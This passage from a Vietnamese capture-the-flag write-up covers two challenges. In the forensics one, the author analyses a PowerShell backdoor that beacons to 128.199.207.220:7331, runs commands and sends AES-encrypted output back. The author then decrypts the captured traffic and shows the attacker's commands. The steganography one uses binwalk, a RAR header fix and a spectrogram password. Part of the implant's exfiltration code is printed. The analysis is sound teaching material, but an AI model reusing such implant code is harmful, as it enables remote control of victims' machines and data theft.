$resultBody = @{ 'result' = "" }
Invoke-WebRequest -UseBasicParsing -Uri $resultUri -Body $resultBody -Method 'POST'
}
elseif ($taskType -eq 'quit') {
exit
}
}
Start-Sleep $delay
}
```
Đoạn code này làm những tác vụ sau:
- Tạo một AES Object bằng hàm `Create-AesManageObject`
- Mã hoá/Giải mã tin nhắn bằng hàm `Encrypt/Decrypt`
- Chạy một lệnh và lưu output lại trong hàm `Shell`
- Khi script này chạy, script sẽ liên tục connect đến địa chỉ IP `128.199.207.220` tại port `7331`, nhận một lệnh từ máy chủ, sau đó execute, lấy output, mã hoá và gửi lại về server.
Lúc này mình đã hiểu ý nghĩa của các packet trong file PCAP, đây là connect giữa máy victim và máy của attacker, và key ở trong file Powershell chính là chìa khoá để giải mã các packet đấy.
Mình tổng hợp lại các packet chứa data bị encrypted bằng filter:
`(ip.dst == 128.199.207.220) || (ip.src== 128.199.207.220)) && (http) && !(frame contains "NO CONTENT") && !(frame contains "IFDRBU")`
Sau đó mình viết 1 python script để decrypt chúng:
```python=
from Crypto.Cipher import AES
from base64 import b64decode
import urllib.parse
key = b64decode("d/3KwjM7m2cGAtLI67KlhDuXI/XRKSTkOlmJXE42R+M=")
iv = bytes([i for i in range(16)])
cipher = AES.new(key, AES.MODE_CBC, iv = iv)
def decrypt(cipher, b64):
return cipher.decrypt(b64decode(urllib.parse.unquote(b64)))
b1 = "h%2FREF9LOiNe2K46pgej%2Bc%2B5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh%2FuctV0zSYIP23QvJRPm617f%2F%2Ba4lshe8xLjPc%2FChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9%2FjqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4%2ByYlICfZEVekO%2BLTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE%2Bxd%2BYGcUGhNb%2BovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46%2Be0UjwTt8%2ByofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s%2F%2BYLSefDedRZHXW9FWqSgoIXGBc%2BEQhuFvQQPiI6hTTq64Y8%2BQpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX%2BUFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2%2FeBSF1MIyfu621hIoXMLibDUaxLupq%2BFXoIhms%2B5Ow8kyxdi8EOZA55A2B5p2%2BY9kZwaIpPsuPk3h78J%2BQvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k%2BFW1zPAFSNKy5X38MCszAZ%2Fi1dcXYwShjj4VrZLMM%2BzitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6%2Bwo4qZ%2FjUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2%2BvYv%2BXfXC8kAK7%2BUZhJ7jW3EeNAlGq3vwo%2BPE0DFUFaN%2FyiCsaYQanw5s6Q2%2BboNph7ybKBU1jKj%2BcqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE%2BQ9QDM5QaI8AOi2WUl%2B%2BW3bevqPf4wSPnk4kAc%2F%2FcSdpHI%2B90U%2FNzsiwlMQ8VAoPjJ%2Bb2VHWO51%2F1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk%2BFxu%2F6%2BhNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s%2BDzKNk8AaMq%2Bh0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ%2FllTFPNOH7%2FvU5pBpcg7I%2Brqkr%2FayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY%2B9fUz%2FuxSvafuFG0CEUZxdXljsPNz94%2FANu4qAiAqxZeRwMr%2BMZsyX%2FdYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"
b2 = "RrzBf9o5vTBf+vInYW3OTzBvvNIWSyyKsx6v25jOD9roPGP4gOhaHPc/u7l804cs"
b3 = "aix8RxrqFg9Wi2uiE6B8BVgr5L51x55Cxxxw4zppPONqXskKoe+N7OMDg1d06pTj"
b4 = "tp4pZ9OgpI9uxr4sNupHQJE5hBlTVd7NbIK21rjApBf15tj9AuNo6OU/zJ/K3REi"
b5 = "luFqXmiFN1kyXfGkxrD9GukoecDD5s6XLJwlHJ2T%2FYu7F8NkHwvBwut0us0%2FrbsJabWaVH47WHTwPEdGnj2rxdsm0o7dns4ptkRQ4ckX9uxwMLKqFWygzb9oSVA7BR7ilsjkBwvvSJDmKCOcITICTg%3D%3D"
b6 = "bK2FX23ydWGbJNdJliRrDqjOE17p1YakRt2cjgaRJJv0zAVVro+Gq1waD0ui+lCe"
b7 = "syJFxAeJjdsNXrRpzEenYfY45X1Ag%2B3DMc%2B8V1moMH4J97dMf4DD5lMiQEBNAohIxmnjYG2bD9sFzLh9sCNXQnr5xrzGDSqKzXi%2BCbMGYkyvfAovaK7DrdzdwR%2BwMHQPju7ujDz2m0W2G3mlpLv%2Bfz29mEFb6EbtJpcwN%2BmVkjPsWTiLtqNisztY2OgCvKkjDLD21Ke2iizhhDDcFWOc4gz5PQSXxlELaPsbZ10fiVEVFWUXNLAM3MTUgHmQuYA9AHCqWQmSewV1%2FiIcoZ%2BFwJB2H2SJSnZtLLhNsBkSgGYVaeAr%2F2CzKRWEa611H6blwl%2BSwh6tz9Fc3UiSAu210vUrdTWAT7t2rVPBFTsg4O1wuDxBacdP1aVsYAKCPUygpxxnxwjdesiDuja1nNU7ZfB%2F%2BAhbwx5dF1AB7hgLT5AQkLWehwfrx4bIz40JUJth7S4oNSpoLir3Zztd8t%2FLyEOO7qZEpr8d5libGZngrYUxoOEMJkoeMk6rfepBioDMFsKQ03ZgbHLnfXvhNdgRuYlV9wucD3NJitZ%2Be1bTPxEabcboTu%2F7lq0CrxQvuU%2BZnpedwvEu7OgjVldq3W26tEHWSk3TXBYjloJFhihNxzaLXNRtFwa85t%2FHsbUg2K2j7aJZoStBG6sa8%2B8KiXJ48WAgnaWamXsxMUIlC3UzDlHl%2FmEdMljsJJRx74v%2BdcOgcrE7lHP7hd4zG4L0OHhiIB2p%2F69rUeQtUABJMc9gijLZ51Lh8TMeG074biK1SO0nANJaS8Eow0wV%2F%2Br9u488OqNALJ%2BJc6fgY1JRLT3rBIiBFwH520oqaH6CcuMlIV4hpka%2BBRseU5X6FyPT5SR6Pf7TIF8MHT1NBZzVxH%2BeGkBxLMbZYt39FZLtWpYXOEQbghxUT4svtsphzGnF9FbMMlxe8d1ATfCm7CQDqeC4Bviq60oWDjupDi%2F5%2FRgHLh%2BGJooVOka4sofTwEckFJif5d6v26rgrcfr51Y6RebUCoxUGQfdgoityTeHfmeIK5aXVCSNePQmsMEFIrCl0E7ncnFJ649yVQ6nvDNhxCqWL%2Bz%2F7N5admwm7rdXotv7l5GPJ9G7FQW5jCLJ0MwUgK%2ForGEJo93%2FSI4p6pVRVl7L8cGaeGOc1WhWVRU4wWlDVC1xurRMjjrXgrjsDe0Y9iFkTlDw6rJeUd4kKTu%2FFsiYcF9Xdj2bpP8kLZu4OaSNkZ3UEwqLs%2BPca8v%2BR2q2BX0mjNleYmZsyYqrISDh3KuF4iBv6INaguDECQ%2BwHHr25L9CjYmu%2FnIlJmyB0OycbAH%2FZq9LSMSIzdD6enlxGdQBfuvtYpAPHfQ4bmao3xQxsD09gjA0IjN05l8Bv3cUklK0gTkANUEVhUGbQ7LgNC8A5G%2BEpUB32ur72Y%2BNAFLeCAdYd8czsz%2B51KKNQr3V29Q1kXZXGXRqNUPva8kDofwCtt8Hmg554%2B0YxENNY5S7b72H7Jw4kxQa%2BOe2vkEnBl6EbDVi2gqFdOwvCqQD7cLP5l7tbkbWRBltCKpvlaz3pJd4%2FxuBkVCZDBMqoF%2FPUIt4mPDhmN02hrA5jV15fo%2Bod8lYFazxxZAjg4vV5meEL3K3hJfSSmTtLcuXpCHwxDA1%2BvOcGVsapwTn2vIlyuOlq3AgqKcXr1aFb6DJYjnIg%2Fo8gbJX3lE%2Fb0ZlVPYFBx0WfI0A%2FSWRsmNM7ICTJCXrGnkLKTyfwXXtWhJt3B4FVgdn"
b8 = "uGjyY6GcnabYem8450v+e256asufK4JUhfW5/KQfyPeAIkmBiQcwBoQbI8z7v9NLyH9Gwi4k6ViFL0nMTCGGWS0TSS6vqWRHa4ADkfcaVFhcjLmBV23dnOfSoCGUWzCg4TBcpDtc+C4QOc/v+dZSL2ytww2c8+pY1dGwth89dVWej8qifotdP0I9p3f/WNCf"
b9 = "oLGpnM8tDrH9%2FJBe5GYTrewvNFclSWXFfuvoKfF3WezjhkNMJ5aEt3wcAUl2cib0AtdsIBZtgo3M3LLLo%2FYb1YBFrIy%2BRTZW2rwWySE3HE1m4AKv2XkWOvwuapBBC%2Fixkp9U4dzwSdhjOYCIk%2FmTXLJaGDioTHzDJCXuicEMP8O4tbpDbbGdPOPHm4HOHN%2BVUzYrctFoRyGm6aZ7CHyydkQPplBTnksHN43WR%2B%2BC69mvPYfSvGTIlHGPW6yjGbgrtQRjWOfIyXZD0XvG0c9b5Gz0xGJY9axPoEjZHQlsAtLMAdFS4StVY1BjL%2FyBOg6h9zmu10nZwnuDp%2FiXRjVmbjEJeSPYwdsOiCmH%2FubkELlb72b6z9w8%2Fpv6TrmCJWKQo1p0mNUXwstKKHkw4pnBW5IG9HwOOkRzBqB7yna43gGjENzgdmuQWZa35l7ozu5KPjgV5LwMfTeYWDrnII2qvj99j4FhWsxETt85%2BTfI4%2FZc3fAED8NtiAs5sxak03BAhXn26xFlwW%2FfBD7QpMPlUuTs1Eocun4tGRPVfS7jO8DmK%2FGlx81S%2F4By665OVB9Vj2zLQhqfAssVQVnz%2BelcqFcBAHB%2BGkj5JKDk5U7MeOHNi1GjxyrmwvVOn7p6SHdT5WE4S9bM3RKmiAz76de6m2jozSpwr5kVd5lFhrQS3CoziwvwkHYOMu7l1nuCkN65EflYRtSfVnP3eg8QjDTnc6CjhK%2FpTDKDUorsFQ9914X2nE6wwjddgA161UOPW4rwH4Qs6CQJ9bgDB%2BAoMkRsI%2BdzZTrlQGLv1CgX20I3exnFkQAEzmDUo1isTRzCZQM5MiAbLvioZTFpu4c9fH54JBMVFIuM3YLi6ztuMGL4v2cWbj8%2FkzfVLDdG3mKLUZH6cULFa%2Bp4wraULbmYLL4dI7y2iAagQuOXzqgTuqb%2Fdom8px1JCaMoARhizHU9NLp3"
# The most important one is b9
command_executed = [b1, b2, b3, b4, b5, b6, b7, b8, b9]
for cmd in command_executed:
print(decrypt(cipher, cmd)[16:].decode())
print(decrypt(cipher, b9)[16:].decode())
```
Đây là output của các command mà attacker đã exec:
```=
VALID
Max(K) Retain OverflowAction Entries Log
------ ------ -------------- ------- ---
20,480 0 OverwriteAsNeeded 3,340 Application
20,480 0 OverwriteAsNeeded 0 HardwareEvents
512 7 OverwriteOlder 0 Internet Explorer
20,480 0 OverwriteAsNeeded 0 Key Management Service
128 0 OverwriteAsNeeded 48 OAlerts
Security
20,480 0 OverwriteAsNeeded 3,280 System
15,360 0 OverwriteAsNeeded 2,495 Windows PowerShell
VALID shell whoami
VALID mrlminhtuan-pc\ieuser
VALID powershell pwd
VALID
Path
----
C:\Users\IEUser\Documents
VALID powershell dir
VALID
Directory: C:\Users\IEUser\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 6/2/2023 10:13 AM Custom Office Templates
-a---- 5/24/2023 9:36 AM 2100 Calc.txt
-a---- 6/2/2023 3:46 PM 112707 clean.jpg
-a---- 1/3/2022 6:53 AM 843332 Lux.jpg
-a---- 6/2/2023 3:48 PM 345 Math Test.png
-a---- 6/2/2023 3:46 PM 75974 otp.jpg
-a---- 5/24/2023 9:35 AM 427 Todo.txt
-a---- 5/23/2023 4:57 PM 102831 xinomifinancialreport2023.pdf
VALID powershell (Format-Hex '.\Math Test.png' | Select-Object -Expand Bytes | ForEach-Object { '{0:x2}' -f $_ }) -join ''
VALID 89504e470d0a1a0a0000000d494844520000003a0000003a0800000000c4d015f4000001204944415478dab5968b0ec3200845fdff9feeba7455ee4313c499b46e96e31820b7adc1b8eef1bde3b7715f8c247af5f1408fc930e50d5edb2adafafc2e8e59afc01c456340d8edffa06886c1398bc6475c1218b8655e532856d6fa5ad67002bd64c440609ac8ae80b2530e462084b280faa28b0700b7e63fb28f8e8fd19de822ae9bdf4ba131380ccddacd6fbd806afa19e694416b3d80b2a1066bea701a451730199c03129012ca4d8d0b4e83144ece163a3b465ce8c6fd12aa25a6874e85a586fa06869bb18898e424515d64a9e2a643ad740bf52dc54915b6f21aaa72a042ac1dace77513f5bae75eecb88dd750efac968b29ce12ea5e7ef45818693986aa84f086f442700465c1d4f210d9d844ed816adae844240be8acd8384c3a6fa31f99524e0722949b720000000049454e44ae426082
```
Đoạn code hex ở cuối chính là flag mà chúng ta đang tìm, mình decode bằng câu lệnh `echo -n "HEX" | xxd -r -p > final.jpg`.
Output là một file ảnh chứa mã QR:

Quét QR và có được flag.
### flag: `CHH{D0n't_w0rRy_n0_st@r_wh3rE}`
# Steganography
## CuteK1tty
Từ đề bài giải nén ra 1 file `.png`:

Theo kinh nghiệm của mình,`binwalk` file ảnh trước là một lựa chọn không tồi:
```
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 640 x 448, 8-bit/color RGBA, non-interlaced
41 0x29 Zlib compressed data, compressed
167499 0x28E4B RAR archive data, version 5.x
```
Phát hiện trong file ảnh có ẩn 1 file rar, mình extract, sau đó giải nén file rar và được 2 file `purrr_2.mp3` và `y0u_4r3_cl0s3.rar`
Phát hiện file `.rar` bị corrupt, dùng hex editor để check xem vấn đề ở đâu:

Thông thường, 1 file RAR sẽ có signature bytes là `52 61 72 21 1A 07 01 00`, tuy nhiên ở đây đã bị thay đổi, mình sửa lại cho đúng, lúc này file RAR đã mở được, nhưng yêu cầu mật khẩu.
Phân tích file `purrr_2.mp3` khi xem [Spectrogram](https://academo.org/demos/spectrum-analyzer/) thấy dòng chữ:`sp3ctrum_1s_y0ur_fr13nd`.
Nhập pass trên để mở file `.rar` ta được flag *(flag đã bị encode bằng Base64)*:

### flag: `CHH{f0r3n51cs_ma5t3r}`